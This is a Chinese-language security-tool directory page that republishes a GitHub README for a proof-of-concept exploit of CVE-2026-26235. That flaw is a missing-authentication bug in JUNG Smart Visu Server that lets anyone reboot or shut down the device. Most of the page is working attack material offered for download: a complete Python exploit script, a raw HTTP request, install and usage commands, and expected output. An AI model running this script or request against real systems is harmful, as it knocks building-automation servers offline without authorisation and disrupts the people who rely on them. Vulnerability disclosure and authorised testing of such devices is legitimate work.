Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-26235-JUNG-Smart-Visu-Server-Unauthenticated-Reboot-Shutdown — CVE-2026-26235 的概念验证漏洞利用程序,针对 JUNG Smart Visu Server <=1.1.1050 中一个未经认证的拒绝服务漏洞,可通过暴露的 CGI 端点实现远程重启或关机。 | Kitploit
工具/GitHubGitHub/mbanyamer/cve-2026-26235-jung-smart-visu-server-unauthenticated-reboot-shutdown
物联网安全漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubmbanyamer/cve-2026-26235-jung-smart-visu-server-unauthenticated-reboot-shutdown

CVE-2026-26235-JUNG-Smart-Visu-Server-Unauthenticated-Reboot-Shutdown

CVE-2026-26235 的概念验证漏洞利用程序,针对 JUNG Smart Visu Server <=1.1.1050 中一个未经认证的拒绝服务漏洞,可通过暴露的 CGI 端点实现远程重启或关机。

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
6个月前尚未审核

👤 作者

Mohammed Idrees Banyamer

  • 📍 国家: 约旦
  • 📸 Instagram: @banyamer_security

Python Version CVE CVSS CWE Author

CVE-2026-26235 的概念验证漏洞利用程序 - 通过 JUNG Smart Visu Server ≤ 1.1.1050 中缺失的身份认证实现未认证拒绝服务。


🚨 漏洞描述

CVE-2026-26235 是 JUNG Smart Visu Server 版本 ≤ 1.1.1050 中的一个未认证拒绝服务漏洞。该产品未能对关键系统管理功能实施身份认证,允许远程攻击者通过单个 POST 请求重启或关闭服务器。

端点 /cgi-bin/reboot.sh 和 /cgi-bin/shutdown.sh 在没有任何身份认证检查的情况下暴露。触发这些系统级命令无需会话令牌、API 密钥或凭据。

这允许:

  • 未认证的系统重启/关机
  • 无需用户交互
  • 完全的服务中断
  • 持续性拒绝服务

🎯 受影响版本

状态版本
❌ 存在漏洞JUNG Smart Visu Server ≤ 1.1.1050
✅ 已修复尚未发布

测试环境: JUNG Smart Visu Server 1.1.1050,嵌入式 Linux


💥 影响


🔬 技术细节

根本原因

  1. 缺失身份认证 - CWE-306:产品未对关键系统功能执行任何身份认证
  2. 暴露的 CGI 端点 - /cgi-bin/reboot.sh 和 /cgi-bin/shutdown.sh 可公开访问
  3. 无会话验证 - 不进行任何 cookie、令牌或凭据验证
  4. 直接执行系统命令 - CGI 脚本在无权限检查的情况下执行系统重启/关机命令

漏洞流程

root@kitploit:~
攻击者 → POST /cgi-bin/reboot.sh → 无身份认证检查 → 系统重启 → DoS
攻击者 → POST /cgi-bin/shutdown.sh → 无身份认证检查 → 系统关机 → DoS

🛠️ 概念验证

Python 漏洞利用脚本

root@kitploit:~
#!/usr/bin/env python3
# Exploit Title: JUNG Smart Visu Server - Unauthenticated Remote Reboot/Shutdown
# CVE: CVE-2026-26235
# Date: 2026-02-12
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/banyamer-security
# Vendor Homepage: https://www.jung.de
# Software Link: https://www.jung.de/smart-visu-server
# Vulnerable: JUNG Smart Visu Server <= 1.1.1050
# Tested on: JUNG Smart Visu Server 1.1.1050
# Category: Web Application
# Platform: Embedded/Linux
# Exploit Type: Missing Authentication (CWE-306)

import requests
import sys
import argparse
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def print_banner():
    print("\n" + "="*60)
    print(" JUNG Smart Visu Server - Unauthenticated Reboot/Shutdown PoC")
    print(" CVE-2026-26235 | CWE-306")
    print("="*60 + "\n")

def exploit(target, action="reboot", verify_ssl=False, timeout=10):
    endpoints = {
        "reboot": "/cgi-bin/reboot.sh",
        "shutdown": "/cgi-bin/shutdown.sh"
    }
    
    if action not in endpoints:
        print(f"[-] Invalid action: {action}. Choose 'reboot' or 'shutdown'.")
        return False
    
    url = f"{target.rstrip('/')}{endpoints[action]}"
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0",
        "Content-Type": "application/x-www-form-urlencoded",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Connection": "keep-alive",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "same-origin",
        "Sec-Fetch-User": "?1",
        "Cache-Control": "max-age=0",
        "Origin": target.rstrip('/'),
        "Referer": f"{target.rstrip('/')}/",
        "DNT": "1",
        "Sec-GPC": "1"
    }
    
    print(f"[*] Target      : {url}")
    print(f"[*] Action      : {action.upper()}")
    print(f"[*] SSL Verify  : {verify_ssl}")
    print("[*] Sending unauthenticated POST request...\n")
    
    try:
        response = requests.post(
            url, 
            headers=headers,
            data="",  
            verify=verify_ssl,
            timeout=timeout,
            allow_redirects=False
        )
        
        print(f"[+] Request sent successfully!")
        print(f"[+] HTTP Status : {response.status_code}")
        
        if response.status_code == 200:
            print("[!] Server responded with 200 OK - action likely executed")
        elif response.status_code == 302 or response.status_code == 301:
            print("[!] Server responded with redirect - action may have been triggered")
        else:
            print(f"[?] Unexpected response code: {response.status_code}")
        
        if response.text:
            print(f"[*] Response preview: {response.text[:200].strip()}")
        
        print("\n[!] If successful, the target server should now be restarting or shutting down.")
        return True
        
    except requests.exceptions.Timeout:
        print("[-] Connection timeout. The server may be down or unreachable.")
        print("[*] This could indicate successful DoS if the server was previously reachable.")
        return True
    except requests.exceptions.ConnectionError as e:
        print(f"[-] Connection error: {e}")
        print("[*] The server may have gone down - possibly successful exploitation.")
        return True
    except Exception as e:
        print(f"[-] An error occurred: {e}")
        return False

def main():
    print_banner()
    
    parser = argparse.ArgumentParser(
        description="PoC for CVE-2026-26235 - JUNG Smart Visu Server Unauthenticated Reboot/Shutdown"
    )
    parser.add_argument(
        "target",
        help="Target server URL (e.g., https://192.168.1.100:8080)"
    )
    parser.add_argument(
        "-a", "--action",
        choices=["reboot", "shutdown"],
        default="reboot",
        help="Action to perform: reboot or shutdown (default: reboot)"
    )
    parser.add_argument(
        "-k", "--insecure",
        action="store_false",
        dest="verify_ssl",
        default=False,
        help="Disable SSL certificate verification (default: disabled)"
    )
    parser.add_argument(
        "-t", "--timeout",
        type=int,
        default=10,
        help="Request timeout in seconds (default: 10)"
    )
    
    args = parser.parse_args()
    
    print(f"[*] Starting exploit against: {args.target}\n")
    
    success = exploit(
        target=args.target,
        action=args.action,
        verify_ssl=args.verify_ssl,
        timeout=args.timeout
    )
    
    if success:
        print("\n[+] Exploit completed successfully.")
    else:
        print("\n[-] Exploit failed.")
        sys.exit(1)

if __name__ == "__main__":
    main()

原始 HTTP 请求

root@kitploit:~
POST /cgi-bin/reboot.sh HTTP/1.1
Host: 192.168.1.100:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Origin: http://192.168.1.100:8080
Referer: http://192.168.1.100:8080/
DNT: 1
Sec-GPC: 1
Content-Length: 0


📦 安装

root@kitploit:~
git clone https://github.com/banyamer-security/CVE-2026-26235.git
cd CVE-2026-26235
pip install requests
chmod +x CVE-2026-26235.py

🚀 使用方法

基本重启

root@kitploit:~
python3 CVE-2026-26235.py https://192.168.1.100:8080

关机

root@kitploit:~
python3 CVE-2026-26235.py https://192.168.1.100:8080 -a shutdown

禁用 SSL 验证

root@kitploit:~
python3 CVE-2026-26235.py https://smartvisu.local -k

自定义超时

root@kitploit:~
python3 CVE-2026-26235.py https://192.168.1.100:8080 -t 15

帮助

root@kitploit:~
python3 CVE-2026-26235.py -h

预期输出

root@kitploit:~
============================================================
 JUNG Smart Visu Server - Unauthenticated Reboot/Shutdown PoC
 CVE-2026-26235 | CWE-306
============================================================

[*] Starting exploit against: https://192.168.1.100:8080

[*] Target      : https://192.168.1.100:8080/cgi-bin/reboot.sh
[*] Action      : REBOOT
[*] SSL Verify  : False
[*] Sending unauthenticated POST request...

[+] Request sent successfully!
[+] HTTP Status : 200
[!] Server responded with 200 OK - action likely executed

[!] If successful, the target server should now be restarting.
[+] Exploit completed successfully.

📚 参考资料

  • VulnCheck 公告
  • Zero Science Lab - ZSL-2026-5971
  • CWE-306:关键功能缺失身份认证
  • NVD - CVE-2026-26235(待定)

👤 作者

Mohammed Idrees Banyamer

  • 📍 国家: 约旦
  • 📸 Instagram: @banyamer_security
  • 🐙 GitHub: banyamer-security
  • 🔗 LinkedIn: Mohammed Banyamer
  • 📧 邮箱: [email protected]

⚠️ 免责声明

此概念验证漏洞利用程序仅用于教育和授权安全测试目的。作者对因使用本软件造成的任何滥用或损害概不负责。

未经授权对您不拥有或未获得明确测试许可的系统进行测试属于违法行为。


📄 许可证

MIT 许可证

版权所有 (c) 2026 Mohammed Idrees Banyamer

特此免费授予任何获得本软件及相关文档文件(“软件”)副本的人无限制地处理本软件的权利,包括但不限于使用、复制、修改、合并、发布、分发、再许可和/或出售软件副本的权利,并允许向其提供本软件的人员这样做,但须符合以下条件:

上述版权声明和本许可声明应包含在本软件的所有副本或实质性部分中。

本软件按“原样”提供,不作任何明示或暗示的保证,包括但不限于适销性、特定用途适用性和不侵权的保证。在任何情况下,作者或版权持有人均不对任何索赔、损害或其他责任负责,无论是合同行为、侵权行为或其他方式,由本软件或本软件的使用或其他交易引起、产生或与之相关。


⭐ 支持

如果此漏洞利用程序对您的研究或测试有所帮助:

  • ⭐ 为此仓库点赞
  • 🔁 分享给其他研究人员
  • 📢 在 Instagram 上关注 @banyamer_security

负责任披露 • 安全研究 • CVE-2026-26235

下载工具
向量描述
CVSS v48.7(高危)- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
身份认证无 - 完全未认证
攻击向量网络
复杂度低
影响高可用性影响